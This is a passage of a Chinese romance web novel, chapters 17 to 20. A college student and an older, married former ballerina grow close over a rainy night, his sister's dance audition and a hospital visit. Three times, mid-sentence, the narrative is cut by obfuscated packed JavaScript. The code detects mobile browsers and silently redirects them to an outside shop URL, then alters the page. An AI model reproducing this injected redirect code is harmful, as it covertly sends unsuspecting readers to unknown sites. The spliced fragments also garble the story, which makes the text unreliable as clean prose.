等她回望,另一轮月亮,照进他眼眶。 17. Chapter17 “您怎么…” “你怎么…” 两道声音轻轻撞在一起,又同时收住,为空气按下巧合的暂停。雨前的风拂过树梢,沙沙作响,填补了这短暂的寂静。 “下班了?”柳冬意先开了口。 “嗯,”原拓微微颔首,“和珊姐说过了,今天早点走。” “那要回宿舍吗?” “不用。” 他几乎是下意识地回答,说完才发现到自己如果不走,似乎找不到留下的借口。思绪在脑中飞转,好几遍之后,原拓终于才翻出一个看似恰当的理由。 “希希现在应该还没睡,我打个电话让秦姨问问她吧。” 柳冬意本想说不急,却见他已经拿出手机,拨了个电话出去。 见状,她也只好站在一旁静静等候。 重复而单调的拨号音,穿插在原拓毫无规律的心跳声里,他放在腿侧的手不自觉蜷起,余光所及都是她的身影。 他突然很希望,这通电话慢点接起。 让自己站在她身边,能有短暂的正当性。 只是,这个念头下一秒就被秦姨的声音掐灭在摇篮里。 “怎么了,这么晚给我打电话?” 原拓收回心神,将柳冬意的话简要转述了一遍。 “她在淘淘家看电视呢,你等一下,我过去问问她。” “嗯,好。” 电话里传来一道开门声,紧接着就是秦姨匆匆忙忙上楼的脚步声。 突如其来的空档,让原拓的视线一时无处安放,他只好低头看向自己的帆布鞋。 与她正好站在同一块地砖,同一条缝隙旁。 他忽然觉得自己简直荒谬得不可理喻,这样一件无聊的小事情,竟也能让心情变得开心。 耳边隐隐约约出现了希希的声音,原拓正要重新拉回注意力时,一滴雨水落地,在他们的鞋子中间晕开深色印迹。 起初只是零星几滴,转眼便密密麻麻,铺满了整块砖面。 原拓下意识想要抬手挡雨, 却不料下一秒,手臂被人拉住。 “这边。” 柳冬意的声音不大,却穿过嘈杂的雨声,清楚地钻入他的耳朵里。 他甚至没来得反应,就被一道力气牵引,快步向身后的屋檐走去。 窄窄的檐下,刚刚好容得下两个人避雨。 刚刚好是两人衣袖之间,一拳的距离。 如此之近,原拓本能地屏住了呼吸,手机还贴着耳边,希希在欢天喜地说个不停,他却一个字也听不进了。 雨水打湿世界时,味道总是纷杂的。 油柏路会散发出油润的焦油味,草木被洗刷后要比晴天时多出几分清香,铁皮屋檐生锈的地方沾水后会有些苦涩的气味… 很多很多,形容不出来的,混乱的味道。 但现在,都被一种绝对的存在所覆盖。 让原拓闻见,且只闻得见,属于她的百合花香。 “明天几点带希希过去?” 电话那端,秦姨又问了一遍。 原拓猛地回神,不自然地干咳了两声,才转头向柳冬意询问。 她想了想,“下午两点。” 转述完,秦姨又嘱咐了几句,才挂断电话。 之后,大雨便无所顾忌地接管了整个世界,除了这一片窄窄的屋檐。 “抱歉。” “为什么突然道歉?” “如果不是我,您应该已经到家了。” 说到后半句,原拓声音低了下去。 柳冬意没有立即接话。 她望着檐下的雨水, 串起安静的空气,泼落成帘。 如果不是他,自己这会的确已经到家了。 但总觉得有什么牵绊脚步,明明已经走到了停车场,却还是一步步回到了这里。 柳冬意也说不清,那到底是什么。只是一种模糊的情绪,让她最终没有躲开这场雨。 “没关系,我还是挺喜欢下雨的,以前没事的时候就喜欢坐着看雨。”她笑着说,语气放得很轻松。 原拓抬眉,“为什么?” 柳冬意靠在身后的墙壁,望着雨幕,在认真思考原因。 半晌,她摇了摇头,“不知道,可能因为下雨了就不用着急去做别的事情,心情自然而然就安静下来了。” 说完,她侧过脸看他,“你呢?” 喜欢雨吗?原拓其实很少想过。 记忆里的雨天总是泥泞,潮湿和匆忙赶路的狼狈。 但此刻在这个屋檐下,大雨织成的围帘, 将世界的一切挡在他们之外。 “嗯,喜欢。”他听见自己说。 柳冬意了然点头,“那…是要看会雨,还是早点回去休息?” “等雨小一点吧。” “好,”她柔声说,“这种雨,通常来得快去得也快。” “嗯。” 对话再一次落下,雨淅淅沥沥,填补了话与话之间尴尬的空隙,又礼貌地留出余地,容许他们随时继续未竟的话题。 “学校的课业重吗?”柳冬意再度开口。 “还好,大三基本没多少课了。” “所以…是因为别的事情么?” “什么?”原拓一时没反应过来。 “心情不好,”柳冬意看见他眼下淡淡的乌青,“是因为别的事情吗?” 他蓦地转头,正对上她的眼睛。 尽管如何克制自己不去猜测,她的去而复返是否与他有关,可当答案如此直白地扑面而来,原拓的心跳仍抑制不住地同这场雨一起,轰轰烈烈,响个不停。 “有两个人,想找我一起组乐队。” 话一出口,他都惊讶于自己这份坦白。 “那你想去吗?” “想。”他答得没有迟疑。 如此,柳冬意大约也明白了什么。 “所以,是有什么顾虑吗?” 原拓低头,看水洼里他们的倒影。 被雨水打乱,又偶尔能重叠在一起。 他忽然拿不准,那些话该对柳冬意说吗? 说出来会不会显得自己矫情,无病呻吟? 又会不会浪费这场留下她的雨,仅仅因为这微不足道的小事情。 “我打算在下半年,就开始找工作了。” 可原拓还是好想好想说给她听,哪怕会辜负这场雨,辜负这一个月来不断回避的心。 “我怕到时候兼顾不过来,反而影响了他们。” 柳冬意安静听着,出乎意料的理由,在他身上却又那么合情合理。 “这些问题,你和他们聊过吗?” 他摇头。 “要不要试着和他们沟通一下,”她尝试着给出建议,“也许他们并不觉得这是问题呢?而且每个人都会毕业,都会各奔东西,这是谁都明白的事。” 原拓知道她说得对,他比谁都清楚。 可他害怕的,从来不是各奔东西。 可他不知道自己到底该怎么说明,该用什么词语才能把心情用轻松一点的方式说给她听。 他不想让话题变得沉重,更不愿她陪他淋这场雨。 “怕自己一旦投入,到最后会很难抽离吗?” 原拓倏地抬头看她,神情是掩饰不住的愕然。 “您…怎么知道?” 柳冬意眉眼弯起,轻声道:“以前绘珊乐队解散的时候,也颓废过很长一段时间。” 原拓几乎能体会到那种心情,或者说这一个月来,他一直在试图体会那种心情。 所以他总是抗拒,不是害怕乐队因现实解散,而是害怕解散之后,自己再也无法回到无力的现实里。 多么奇怪的人,连他自己都无法理解自己。 “那后来呢?” “后来…”柳冬意望着雨,声音飘忽,像是在叹息,“人总是要向前看的。” 不知怎的,原拓觉得她这句话里有种说不出的怅惘。 “说实话,这方面我没法给你什么实质性的建议,但如果是我…”她停顿了一下,像是在认真思考,“我会选择加入。” “为什么?” “因为不想让自己后悔,”柳冬意的目光再度飘向雨里,像是在说给他听,又像是在自言自语,“可能当下那一刻会觉得没什么,但日后想起来,其实比想象中要难受得多。” “吃不下,睡不着,提不起精神去做任何事情,只是在脑子里反复地想反复地想,如果能回到过去该有多好。” 她垂下头,声音也低了下去。 “可现实是,人是没办法回到过去的。” 最后一句话,好似一滴透明的水,努力藏进这亿万颗雨滴里,不肯让人听清。 然而,雨声早已被她的存在推得很远很远,只剩屋檐下这片小小的天地。以至于任何关于她的声音,都在原拓耳里那么清晰。 “您也有过这种时候吗?”他忍不住问。 闻言,柳冬意转过头,四目相对的一瞬间,她看见他眼底的波动,和自己落寞的倒影。 “没有。”她错开视线,否认得很快,解释也很快,“只是看绘珊当时那个样子,或多或少能想象到那种感觉。” 但这句话是真是假,原拓无从分辨。 不过他能感觉到,那句不想后悔里藏着秘密。 这秘密曾在许多个辗转难眠的深夜和食不知味的白天,困扰着她。 现在,也困扰着他,尽管他对此一无所知。 雨声再次变大,仿佛要将这片刻的沉默淹没。 “原拓。”她忽然喊他。 “嗯?” “做自己想做的事情吧,”柳冬意望向他,语气坚定,“让自己开心些,至于以后会怎样,就等到以后再说。” 一个好字,从摇摇欲坠的山顶滚落, 带着他自己都不曾预料到的轻松。 雨势依旧,没有变小的迹象。 柳冬意看了眼手机,十点十三分。 原拓注意到她的动作,随即看向她的手提包,不像是能装得下一把伞的容量。 他从吉他包的侧袋里拿出伞,递过去。 “这个您先用吧。” “没事,雨可能很快…” “时间不早了,”他语气坚持,伞又往前递了一寸,“您早点回去吧,晚了不安全。” “那你呢?”她不放心。 “我舍友兼职完会从这边走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786112|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他带了伞,我等他就好。”他说得坦然,仿佛确有其事。 柳冬意望着那把伞,犹豫片刻,接了过来。 “那谢谢了。” 雨伞撑开,她走入雨中, 几步之后,忽然回头。 “伞…明天还你?” 原拓的心猛地一跳。 明天,还可以再见吗? 他望着她,愣愣地点了下头。 “明天见。” 他小声说,同她的背影,一齐消散在雨里。 回到车上,柳冬意甩了甩伞上的水珠,将它放在副驾的地垫上。 而后发动车子,转向家的方向。 雨下得大,雨刷器忙忙碌碌地来回摆动。 为了安全,她车速放得很慢,以至于在一个十字路口,没能赶上绿灯的尾巴。 雨点密集地敲打着车窗,发出沉闷的啪嗒响。 柳冬意打开车载广播,调大音量,试图驱散车内过分的安静。 电台里正在解说一场篮球比赛,主持人激昂的语调在雨夜的氛围里显得格格不入,而那些听不懂的专业术语也让她的思绪逐渐游离。 有过那样的时候吗? 柳冬意在心底问自己,或者问三年前在巴黎,最后一次谢幕,独自坐在舞台上的柳冬意。 坐了多久,她不记得了。只记得久到舞团里的人以为她出了意外,惊慌失措地差点要报警。 那时究竟在想什么,是在发呆,还是在脑海中一帧一帧地复盘每个动作是否完美? 她好像什么都不记得了,只记得从那以后,自己就宣布了退役的消息,没再站上过舞台。 这个决定,经过了深思熟虑, 所以柳冬意从不承认后悔这种情绪。 尽管在无数个时刻,她仍然会恨自己。 恨为什么想那么远,想那么多。 明明还有足够的时间,够她再跳下去。 一丝苦笑从喉中溢出,她突然发现,人总是很难理解过去的自己。 广播里的比赛解说结束了,一段轻快的音乐响起,将她的思绪从遥远的巴黎拉回现实里。 她靠在驾驶座上,轻轻叹了一口气。 红灯还有漫长的一分钟。 电台切换到了音乐频道,或许是因为大雨影响了信号,声音断断续续,夹杂着刺耳的杂音。 正当她伸手想要切换频道时,一道熟悉的身影迅速从车侧旁的人行道上跑了过去。 她的目光下意识地追上去。 距离不远,那身影就停在她车前。 因此,她一眼就认出了他,那个十几分钟前告诉她,要等带了伞的舍友一起回宿舍的人,现在却站在红灯下,大雨滂沱中。 而唯一可以遮挡的吉他包,被他紧紧抱在怀里。甚至还微微向左侧去,用身体为它挡住了更多的雨。 柳冬意眉头一蹙,伸手就要去按喇叭,想让他上车。 然而,她还是慢了绿灯一步。 喇叭响起的一瞬间,男生就已经跑上了斑马线,大雨将他淋得狼狈,他却不在意,只是将怀里的吉他包护得更紧。 柳冬意的视线紧紧追随着他,看着他一路跑过马路,冲到对面的公交站台,才终于停下来。 大雨丝毫没有模糊她的视线,她看见他将手中的吉他包放下,然后拉开一半拉链,仔细检查着正面反面。 确认了里面的吉他安然无恙后,他似乎才松了口气,随后抬起湿透的袖子胡乱地擦了把脸,结果显然只是把更多雨水抹到了脸上。 他甩甩手,最终选择用手掌抹去脸上的水珠。 见此情景,柳冬意莫名笑了一下。 她回头看了眼红灯,还剩三十秒。 视线再度回到公交站,原拓已经在长椅上坐下,低头看着手里的什么东西。 不过距离太远,她看不清具体是什么。 而此时,一辆公交车缓缓进站,停靠。 车窗里出现了他上车的身影,走到后排, 选择了一个靠窗的位置坐下。 车厢的灯光照亮了他的侧脸和双手。 他依旧低着头,专注地看手中的东西。 这一次,柳冬意看清了,是手机。 是在和想组乐队的朋友发信息吗? 她忽然这样猜想。 眼前的红灯开始进入最后十秒的倒计时。 柳冬意无暇再去猜其他,收回视线准备启动车辆,但余光仍注意到,那辆公交车已经驶离站台,向着与她相反的方向开去。 最后五秒,她的手刚搭上手刹,口袋里传来一声轻微的震动提示音。 她拿出手机,显示收到一条新短信。 点开,来自原拓。 「今天非常谢谢您,我已经到宿舍了,如果您安全到家,可以麻烦您告诉我一声吗?」 几乎在她看清短信内容的同时,车载广播里卡顿的杂音忽然消失,信号变得清晰,温暖感性的女声伴随着钢琴前奏缓缓响起。 “夜深了,窗外的雨滴正在轻敲车窗,仿佛整个世界都慢了下来。调大音量吧,让雨声成为这首《不能说的秘密》最自然的和声,或许下一个红灯亮起的瞬间,你会听见自己心动的声音…” 18. Chapter18 “堂姐,你说的那孩子条件真有那么好?”柳荨整理着头发,侧头问道。 “柔韧性和平衡感确实比一般孩子好,学习模仿能力也很强。”柳冬意打开储物柜,将手提包和外套仔细挂好,“上次我只示范了一次,她就能把整个动作完整做出来。” “这么好的苗子,家长没考虑培养一下吗?” 说到这个问题,她也不知道该怎么解释,“可能是没想过让孩子往这方面发展吧。” “那得赶紧跟家长沟通沟通,”柳荨语气急切,“这么好天赋,浪费了多可惜。” 柳冬意扶着柜门的手微微顿住。 何尝不是呢?她比谁都清楚天赋的意义, 所以推荐希希时其实也藏了一点私心。 如果这次舞台表现得好,或许她就能有理由和条件开启这条路,而不至于让天赋就此被埋没。 “等演出结束再看吧。” 她轻声说,关上了柜门。 两人一同走向舞蹈室,远远就看见前台小宋正陪着一大一小两个身影坐在休息区。 “希希?”柳冬意喊了一声。 女孩听到声音,立刻从沙发跳起,“阿姨!” 她身旁的女人也跟着站起身,笑容温和。 走近后,柳冬意看清了对方的模样。个子不高,身形偏瘦,衣着素净,脑后盘着一个低低的发髻。 “您就是柳老师吧?你好你好,我是希希的妈妈,秦容芳。” 听到是希希的妈妈,柳冬意低头看了眼希希,目光在两人面容间扫过。 似乎…有哪里不太对劲。 但这念头只是一闪,便被她按了下去。 “您好,怎么这么早就带着希希过来了?” “孩子在家坐不住,吃完午饭就缠着我带她来了。”秦容芳不好意思地笑笑。 柳冬意会意,看向女孩期待的小脸,“早点开始也好,我们也可以多些时间了解希希的情况。” 话说完,她不由自主地看向她们身后的走廊,空无一人。她抿了抿唇,已经到嘴边的询问,犹豫片刻后还是压了回去。 走进舞蹈室,柳冬意仔细叮嘱着她,“待会儿跟着我做动作就好,放轻松,就像上次那样。” 希希仰起脸,眼睛亮晶晶的,“我知道啦!” 准备就绪,她牵着女孩走到教室中央,带她做了几个热身动作拉伸身体。 随后向柳荨示意打开音响。 “注意看我的动作,试着记下来。” 希希认真地应下。 《天鹅湖》的音乐响起,柳冬意并足,身体微向前倾,即便只是群舞中最简单的段落,她的每个起落依旧精准,足尖点地,悄无声息。 音乐停止,她看向女孩,“来,试试看。” 音乐再次响起,起初女孩的四肢还略显生硬,但随着节奏推进,她逐渐捕捉到韵律,每一个动作竟模仿得七八分像,这对于从未受过训练的孩子而言,属实惊人。 柳冬意看向柳荨,交换的眼神中,惊喜之外,更是难以置信的赞叹。 两分钟的段落结束,两人都不约而同地抬手为她鼓掌。 然而希希却好像没那么高兴,小脸却垮了下来,闷闷地说:“阿姨,我刚刚忘了一个动作,没跳好。” “没关系,”柳冬意蹲下身,替她拨开额前散落下来的碎发,“这是你第一次学,已经做得很完美了。” “那我还能在这里跳舞吗,下次我一定不会忘的。”她神情紧张,带着小心翼翼的试探。 柳冬意没有立刻回答,而是看向柳荨,得到对方点头应允后,她才笑着揉了揉希希的脑袋。 “当然可以,还有,该叫我老师啦。” 希希眼睛骤然放光,猛地扑进她怀里,“谢谢老师!” 看到这幅场景,站在玻璃门外的秦容芳悬着的心落下,紧握着的双手也缓缓松开。 由于演出临近,而希希是中途加入,柳荨和柳冬意建议从明天开始,每天加练一小时。 原本还担心对方时间不方便,正想提出她们可以负责接送,不料对方只稍作犹豫就答应了。 送她们进电梯时,柳冬意站在最里侧,注意到秦容芳正望着轿厢里张贴的招生海报。 她看过去,目光随着她一起落在那3500块上。 “老师,明天我什么能时候过来啊。” 希希的语气已经变得有些迫不及待了。 “明天两点来就可以,不用着急。” “好!” 看到孩子这么高兴,秦容芳脸上也扬起笑意,“柳老师,今天真是谢谢你们了。” “您太客气了,说起来,我还要谢谢您和希希,帮了我们一个大忙。” “没有没有,这孩子就是喜欢跳舞,你们能给她一个机会来跳舞,她比什么都高兴。” 熟悉的客套,熟悉的身影浮上脑海,柳冬意弯起嘴角,难怪是一家人。 “对了,如果您后续希希的接送不是很方便的话,随时跟我说,我可以送希希回去。” 秦容芳连忙摆手,“不用不用,真不方便的话,我让她哥哥来接就好,不能再麻烦你们了。” “哥哥不是生病了吗?”希希突然插话,“他还能来接我吗?” 听到生病二字,柳冬意神情微变。 “原拓生病了?” “是啊,不知道怎么弄感冒了,本来今天还说好要一起来的。”秦容芳解释道。 闻言,昨夜那个滂沱大雨中护着吉他跑远的身影,毫无预兆地闯进柳冬意脑海里。 她不自觉追问:“严重吗?” “说是不严重,吃点药就好了,但我听他说话那声音,还是挺让人不放心的。” “可能他也是不想让您担心。” 虽是这么说,柳冬意心里却大约能猜到,那句不严重,多半只是安慰人的话。除夕那次意外,她就看出原拓是个习惯报喜不报忧的人。 “这孩子…拿他没办法,什么都自己忍着,”秦容芳叹了一口气,对他的懂事满是无奈和心疼,“生怕给别人添麻烦一样。” 也许是意识到自己说得有些多了,她赶忙敛起愁容,“看我,一说起来就没完,耽误你时间了。你快去忙吧,我也带希希回去了。” “没关系的,”柳冬意温声道,“那你们路上小心。” “诶,好,那我们就先走了。” 希希也挥挥手,“老师再见!” “再见。” 目送两人离开,柳冬意回到舞蹈室。 下午没有课,她走进更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792175|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣间,想再练练基本功。方才跳那一小段时,她能感到自己的稳定性似乎有所提升。 拿出练功服,要关门时,目光却被柜子里的黑伞绊住。 一切都有了答案。 感冒的原因,都藏在这把伞里。 所以,自己…要问一句吗? 这么想着,手机屏幕就已经亮起,界面停留在与原拓那寥寥四条短信。 「我是柳冬意。」21:05 「今天非常谢谢您,我已经到宿舍了,如果您安全到家,可以麻烦您告诉我一声吗?」22:25 「已经到家了。」23:15 「好。」23:20 柳冬意的目光在那最后一个好字上停留片刻,又看向那把伞。 「希希面试通过了。」 手指悬空…落下。 她合上柜门,将那把伞也一同关了进去。 不知不觉,夕阳西斜。 柳冬意在小跳前关掉了音乐。 虽然比起上次有进步,可在起跳前,她还是能感觉到自己的勉强。 过了不知天高地厚的年纪,她对自己的身体就愈发了解。也正是如此,她就愈发能够深刻体会及时止损这个词语的分量。 倚在窗边,云层叠叠。 今天是个大晴天,晚霞应该烧得热烈。 可柳冬意错过了那个时刻,窗外只剩下燃烧过后的余烬,像陈旧剥落的铁锈片,卡在高楼的缝隙与大树之间。 她深深吸了口气,又缓缓吐出。 关门。关灯。暮色渐沉。 路过便利店时,柳冬意照例买了饭团。 等待加热的几十秒里,看着眼前的蓝白色条纹身影,她的手伸向口袋,下意识地拿出手机。 屏幕干净,没有新消息。 现在是下午五点,距离那条问询的短信,已经过去两个小时。 要…打个电话问问看吗?柳冬意拿不准主意。 毕竟他们的关系,貌似不是可以随意电话关心的程度。 而且,他也许只是睡着了。 感冒药力上来,睡两个小时,是再正常不过的事情。自己一个电话过去,反而会打扰他的休息。 也许,他看见了。 只是暂时不想回,或者不知道该怎么回。 正如秦容芳说的那样,他本就是不愿麻烦别人的人。自己那条短信,或许于他而言,就是一种不想麻烦的负担。 “您的东西好了。” 店员的声音将柳冬意从纷乱的思绪中短暂拽出,她抬头,目光穿过食物,看向眼前蓝白色条纹的身影。 一瞬间的恍惚。 昨夜原拓冲进雨中的身影,再度与眼前重叠。 打个电话吧。至少要确认他的安好。 本来…他也是因为自己才淋雨的。 来到便利店外,手指悬在号码上空,停顿仿佛了一个世纪那么久,才终于按了下去。 听筒里冗长而单调的拨号声,每一声都敲在柳冬意的指尖,发出敲击玻璃的声音。 一声…两声…三声… 就在电话即将自动挂断的前一刻。 一个低沉沙哑,带着浓重到几乎化不开的鼻音,从听筒那端传了过来。 “…喂?” 19. Chapter19 “是我,柳冬意。”她不自觉放轻了声音,“吵醒你了吗?” 那头沉默了一两秒,似乎有些意外,随即传来一阵窸窣的摩擦声,接着才是他沙哑到几乎变调的声音。 “没…我没睡觉,您…怎么打电话来了?” “我听希希说你生病了,现在怎么样?” “还好…就是有点晕而已。” 他说得简短,可话音未落,就被一阵抑制不住的剧烈咳嗽彻底出卖。 “吃药了吗?” “嗯,吃过了。” 他的声音模糊,显然意识不太清醒。柳冬意听得心头一紧,吃了药还咳成这样,情况绝非他轻描淡写的那般简单。 她忙说:“我听你声音感觉烧得很严重,要不要去看看医生,打个针或者配点药。” 电话那头停顿半晌,而后,像是刻意清过了嗓子,再发出来的声音里闷涩感减轻了许多。 “您不用担心,我真的没事。” 柳冬意哪里猜不到,他是不想让人担心的托辞。现在情况已经确认关心也送到,按常理,她嘱咐几句就该挂断电话。 可是… 手机在她手中越握越紧。 天际暮色褪尽,晚风拂过,路灯排排亮起。 也带起她一声叹息。 “这样不行的。” 像是无奈,也像是决定,“我现在开车过来,大概半个小时左右到,你准备一下,我带你去医院。” 听到她要过来,原拓的喉结猛地滚动了下,拒绝的话还没出口,就被又一阵更凶的咳嗽死死压了回去。 等到喉咙里那股痒意稍稍缓过来,再想开口时,电话已经挂断,没给他留下半分回绝的余地。 他看着屏幕上那通已结束的通话,嘴唇紧抿,直到牙齿陷进下唇带来的痛感,才敢相信方才的一切并非高烧中的幻觉。 “你怎么起来了?” 宿舍门被推开,张博远拎着两个塑料袋进来,“快,哥们儿给你买了药和乌鸡汤,赶紧趁热吃点,看你一天没吃饭了都。” 原拓翻身下床,拿起外套往身上套。 “你吃吧,我得出去了。” “啥?”张博远怀疑他烧糊涂了,伸手探他额头,“你都这德行了还出去干嘛?” “我去医院。” 一听他肯去医院,张博远顿时松了口气,“早该去了!等着,我换件衣服陪你。” 他把手里的袋子放下,去拿椅背上的外套。 “不用了,我自己去就可以了。” “我咋可能让你一个人去医院呢,”张博远一边穿衣服一边语重心长道,“咱俩都这么多年舍友了,你还跟我客气?哥们儿今天说什么都必须陪你。” 原拓原本是不想说出柳冬意,可对方这样讲,他实在是不忍心拂了这份好意。 “其实…有人陪我一起去的。”他小声说。 “真的假的?”张博远穿鞋的动作一顿,“谁啊,你家里人?” “不是,一个…朋友。” 说起朋友二字,他嘴角极其轻微地扬了一下。 偏偏就是这抹几乎看不见的弧度,让张博远瞬间嗅到了不寻常的气息。 他鞋也不穿了,甩到一旁,声音压低,“你那个朋友…不会是女生吧?” “…” “我靠!”像是发现了什么新大陆,张博远惊呼一声,“原拓,你不会要谈恋爱了吧!?” 原拓倏地抬头,两颊边不知是因为发烧还是别的什么,红得厉害。 “没有,你别乱说。” “人都陪你去医院了,这还不明显?”他直接蹬着一只鞋凑近,“快说快说!是咱们学校的吗?哪个院的?怎么认识的?” 连珠炮似的问题砸来,原拓张着嘴,脑子里乱糟糟的一时不知从何答起。 “…她是珊姐的朋友,不是我们学校的。” 他顿住,又补充了句。 “而且我跟她真的没什么关系,她只是看我情况不好,顺便过来带我去医院而已。” 得知是唐绘珊的朋友,张博远的恋爱雷达信号瞬间就弱了下去,可看到原拓脸上的表情他又觉得事情没那么简单。 “那她干嘛不叫珊姐带你去,还亲自跑来接?这摆明了就是对你有意思啊。” “不可能的。” “怎么不可能,我跟你说…” “她结婚了。” 空气骤然安静。 原拓说完自己也愣住了,仿佛这句话不是从自己嘴里说出,而是潜意识里某个的声音跳了出来,砸进这片突如其来的沉默里,也砸醒了他自己。 是啊,这么重要的事,他怎么会忘了。 真是烧糊涂了。 “我们真的不是那种关系,”他绑好鞋带,站起身,“以后别开这种玩笑了,对她不好。” 张博远讪讪闭嘴,眼神在他落寞的表情上停留了片刻,“好吧…那这鸡汤,你还回来喝不?” 原拓望向桌上那碗冒着热气的鸡汤,沉吟片刻,说:“先放着吧,我应该很快就回来了。” 说完,他便拉开门,离开了宿舍。 傍晚的风吹在发烫的皮肤上,冷热交织,原拓头痛得几乎要裂开,每一步都变得虚软无力,深一脚浅一脚像踩在棉花上,又像是陷在流沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798047|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,摇摇晃晃,找不到重心。 可意识却有一个坚固的锚点, 钉在脑子里,异常清晰。 该怎么再拒绝呢? 说自己已经好多了,不需要再去医院了吗? 可她专程赶来,自己却如此不识抬举,她心里一定会觉得这个人不可理喻吧。 之后,大概就会慢慢收回这些多余的关心。 他们也会慢慢地不再有交集。 会这样的,对吗? 应该这样的,不是吗? 是吗?是的吧。 距离柳冬意说的半小时还有五分钟,原拓已等在校门口。 他不知道她的车牌号,发烧带来的晕眩让所有光线在他眼中散开,每一辆驶过的车都像隔着一层晃动的热水,模糊不清。 引擎声由远及近,又由近及远,反复地碾过他脑中那根早已绷紧的弦,带来一阵阵嗡鸣。 还要多久,还有多少辆车,她才会来。 原拓不知道,只知道,留给他的时间不多了。 从口袋拿出手机,他想,最好的方法应该是直接打电话让她直接掉头。 他很清楚自己,一旦面对面,他说不口。 他拒绝不了任何一个可以靠近她的机会。 他的自私和卑劣,他心知肚明。 打开手机,原拓正想找到柳冬意电话时,屏幕显示有一条未读短信。 来自柳冬意。 他按下读取键。 「希希面试通过了。刚刚听她说你感冒了,现在还好吗?」 原拓看了眼发信时间,下午3:10。 意识到什么,他急忙翻找到柳冬意那通电话的时间。 下午5:25。 两个时间,像两个戳印,盖在原拓心头。 清楚地告诉他,那是她送给自己的时间。 或许是两分钟。 也或许,是两个小时。 忽的,原拓听到有什么东西在不断用力,发出噪音。 他弄不清那是什么,只觉得它吵得厉害。 他强迫自己不去听那些噪音,手指赶忙在屏幕里翻出通话界面。 柳冬意的名字就在最上面。 按下,就不会吵了。 拨号界面出现,原拓将手机贴在耳边。 红灯变绿。 一辆白色轿车,朝他驶来。 他若有所觉,抬头望了过去。 陌生的车牌,熟悉的声音,在耳边响起。 “原拓,我看见你了。” 车停下,轮胎摩擦, 带起嗡的一声,断裂的声音。 20. Chapter20 医生把体温计插回酒精盒。 “38.2度,输液还是开药?” “开药。” “输液。” 医生敲键盘的手停住,偏头看向意见相左的两人,抬了抬下巴,示意他们先统一一下。 原拓自然觉得开药更合适,输液至少要一两个小时,他不想耽误柳冬意的时间。 尽管,这是能和她多待一会儿最正当的理由。 “要不就…” 他刚开口,一只手轻轻搭上他的肩头。 “不着急的话,就输液吧,好得快些。” 原拓抬头,正迎上柳冬意的目光。 他总是能看见她这样的眼神,太纯粹太自然的关心,像温水漫过心脏,把他那些推拒的话无声推了回去。 “好。” 取了处方单,两人一前一后走出诊室。 “还晕吗?要不你先到输液室等我,我去拿药。”柳冬意问。 原拓摇摇头,动作有些迟缓,似乎光是这个动作就好像耗去他不少力气。 “我跟您一起。” 他不想一个人待在充斥着消毒水气味的陌生环境,更不愿让她为了自己来回奔波。虽然头晕目眩,脚步也有些虚浮,但他还是跟上了柳冬意的步伐,保持着一步左右的距离。 输液室里人不多,空气里弥漫着一种混合了药水和酒精的味道,显得有几分冷清。 不知是否天花板的灯太冷太硬,明晃晃地照在蓝色塑料排椅上,看起来冰冰凉凉的,连坐在上面的人脸色都变得十分寡淡。 柳冬意将处方单和输液瓶交给了护士,之后两人找了个靠角落,相对安静些的位置。 原拓靠着椅背,双手搭在膝头,无意识攥紧了裤料,几句话反反复复在嘴边斟酌。 “我一个人在这里就行,您先回去吧,输液得很久。”话音落下,手下的布料已经皱成一团。 柳冬意正抬头看墙上的注意事项,闻声转过脸来。她的目光很平静,却让原拓莫名紧张起来,不自觉盘算着自己是不是说错了什么。 “你不想我在这里吗?” 她问得很直接,声音却依旧温和。 原拓几乎是立刻否认:“没有。” 他怎么会不想让她留在这里。 但,他怎么能让她留在这里。 “那就不要再说这种话了,”柳冬意轻声说,顺手把药袋理好放在一旁,“没有人会丢下生病的人不管的。” 原拓沉默片刻,喉结滚了滚,妥协或是释然一般开口:“好吧,那麻烦您了。” 没多久护士推着治疗车过来,他伸出手,看护士绑压脉带,消毒,针尖精准刺入血管。 他蹙了下眉,又迅速松开。 扎完针,护士嘱咐了几句后,便推着车离开。 输液管里的药液一滴一滴落下,谁也没说话,安静的氛围却不令人尴尬,反而像一层柔软的茧,包裹着两人之间的空气。 原拓偏过头,望向窗户。夜色已经沉了下来,玻璃上模糊地映出输液室里的景象。 以及,他身边的柳冬意。 她今天穿了件浅棕色外套,长发散在肩头,正仰头看着悬挂的电视。 屏幕里正在播放厨具广告,演员用光滑的不锈钢炒锅颠勺,食材在暖色灯光下泛着油光,背景是装修精致的开放式厨房,窗外映着一片虚假却美好的夕阳。 他突然没来由地想。 柳冬意家的厨房会是什么样子? 朝北还是朝南? 早中晚会是怎样的景象? 洗菜池离灶台近还是远? 如果近,自己一个人就能兼顾得过来。 